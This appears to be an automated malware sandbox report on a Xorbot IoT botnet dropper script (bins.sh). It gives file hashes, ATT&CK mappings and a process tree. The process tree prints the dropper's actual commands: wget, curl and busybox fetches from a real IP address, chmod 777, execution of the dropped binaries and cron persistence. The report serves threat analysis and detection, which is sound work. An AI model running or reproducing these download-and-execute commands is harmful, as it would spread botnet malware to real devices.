xorbot | 43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-12-2024 00:26

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General

Target

bins.sh
Size

10KB
MD5

616244bb402bee04b6b45f703b80d324
SHA1

eaddf7ee69008a10c656aba8958a6cecd0ba4f19
SHA256

43fd86667e58eeb0e59922eb2aa6773f01cbd8c39235dc00904a1eb13230eccb
SHA512

b1c3ac89ae943e25e2657353fa3f06f3fdc85f489cc965c7cbcc310357d75d0b1977fcd66b09aee06aaaf9986246d1c6ee29cda146aa773aaca3bfb1885857a4
SSDEEP

96:82/zFBpXexFta6UdZrD1iyqAIg93GCk9Nbe/axFta6MfdG0rDNFoyqAIg9OWGCki:82/zFBpHxQOGCk9N9iGCk9N6Xz7

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-6.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2058) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
733	chmod
827	chmod
843	chmod
859	chmod

Executes dropped EXE 4 IoCs

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg700xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbCb4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0TfzO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

ioc	pid	Process
/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	734	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
/tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC	828	0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
/tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf	844	b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
/tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q	860	zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

Renames itself 1 IoCs

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

pid	Process
735	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.l3d5l7	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

description	ioc	Process
File opened for reading	/proc/77/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/746/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/750/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/983/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/892/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1049/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/704/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/743/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/804/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/856/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/907/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1006/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/74/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/701/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/783/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/843/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/769/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/854/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/878/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/4/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/513/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/760/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/767/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/766/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/945/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/823/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/962/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/976/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1037/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/37/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/69/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/113/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/814/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/936/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/950/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1018/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/3/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/13/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/779/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/908/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/960/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/994/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/12/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/71/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/776/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/919/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/797/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/958/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/984/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1025/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/821/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/826/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/885/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/917/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/72/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/759/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/793/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/799/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1024/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/1032/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/922/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/943/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/959/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
File opened for reading	/proc/969/cmdline	Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxbusyboxbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	wget
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	curl
File opened for modification	/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70	busybox
File opened for modification	/tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC	busybox
File opened for modification	/tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf	busybox
File opened for modification	/tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:702
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Writes file to tmp directory
  PID:709
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Writes file to tmp directory
  PID:724
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  ./Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:734
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:736
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:737
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:742
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:743
- /bin/rm
  rm Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70
  2⤵
  PID:739
- /usr/bin/wget
  wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  PID:825
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  ./0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm 0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC
  2⤵
  PID:830
- /usr/bin/wget
  wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  PID:833
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  ./b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf
  2⤵
  PID:847
- /usr/bin/wget
  wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  PID:849
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  - Writes file to tmp directory
  PID:850
- /bin/chmod
  chmod 777 zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  ./zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q
  2⤵
  PID:862
- /usr/bin/wget
  wget http://216.126.231.240/bins/fpWYnnWBNgoQ93Dz8Ybda2qEKkP7Cv3MTZ
  2⤵
  PID:863

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/0xEPxt2PVsu2ZiKkeGcHvXIlF6ZQQOVDbC

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/Uz08YNziENGeXipHM6OwCFU4FiNUF2eg70

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/b4qq9G5FQ7pPocOuJhvB7XS62fsJFSn0Tf

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/zO21mwo6xQMlAySv2fynwz2L7WzP9F858Q

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.l3d5l7

Filesize
210B

MD5
2fe601255e3b7f856f5745eb5525a9c0

SHA1
01bcf4db885e580cfbabf439c26346e9ed23c7a7

SHA256
dea09189a643d25536773cd828b57f6cbe8a9e8561d54ba8bc361060387f2f08

SHA512
472fad0210202650e66e39ab33f8a4113f83389142e8033d205d8ec548da1f053575d459b51a40ce16b368b5c0666fa723d8e75bc111b776ed4c56b146eb29db

Download Submit